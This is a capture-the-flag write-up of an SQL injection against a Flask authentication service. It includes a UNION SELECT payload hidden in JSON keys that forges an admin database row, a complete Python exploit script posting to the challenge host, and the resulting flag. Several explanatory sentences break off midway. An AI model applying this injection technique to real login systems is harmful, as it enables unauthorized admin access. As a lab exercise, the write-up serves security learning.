We are given a Flask authentication service. At first glance, the SQL code looks reasonably safe because it uses parameterized queries:
SELECT * FROM users WHERE (BINARY CONCAT(principal, ',', region) = %s)
The interesting hint is in the dependencies. The challenge pins
The app also has a helper that recursively unpacks JSON and turns strings matching its user format into
The service checks the returned row like this: the database row must contain a token hash matching our submitted token, and the row must have
I chose the token:
*/ ) --
Then I injected the SHA-256 hash of that token into the forged row. The final request body looked like this:
[
{
"fn/*x,bbbbbbb,US": "*/ 1} ) UNION SELECT 1,0x70,0x37303730636431646162653562346166323161366263376661326438353263666462396631336338656264643234353130323137656531316432643330313833,0x5553,1 -- ",
"token": "*/ ) -- "
}
]
The
id = 1
principal = 0x70
token = SHA-256("*/ ) -- ")
region = 0x5553
admin = 1
The exploit script just builds that payload and posts it to
import hashlib
import json
import urllib.request
token = "*/ ) -- "
token_hash_hex = hashlib.sha256(token.encode()).hexdigest().encode().hex()
body = json.dumps([
{
"fn/*x,bbbbbbb,US": (
"*/ 1} ) UNION SELECT 1,0x70,0x"
+ token_hash_hex
+ ",0x5553,1 -- "
),
"token": token,
}
]).encode()
req = urllib.request.Request(
"https://2l3meg2jljh2vnvbxw5efdc67l-5000-ass.challenge.cscg.live/api/auth",
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
print(urllib.request.urlopen(req).read().decode())
The service accepts the forged admin row and returns the flag:
dach2026{oh_y0u_f0und_th3_h0le_in_0ur_ASS_backend_and_g0t_th3_fl4g_auV2QdkaprfJORKB4y6iwzDTsOUKq2RB}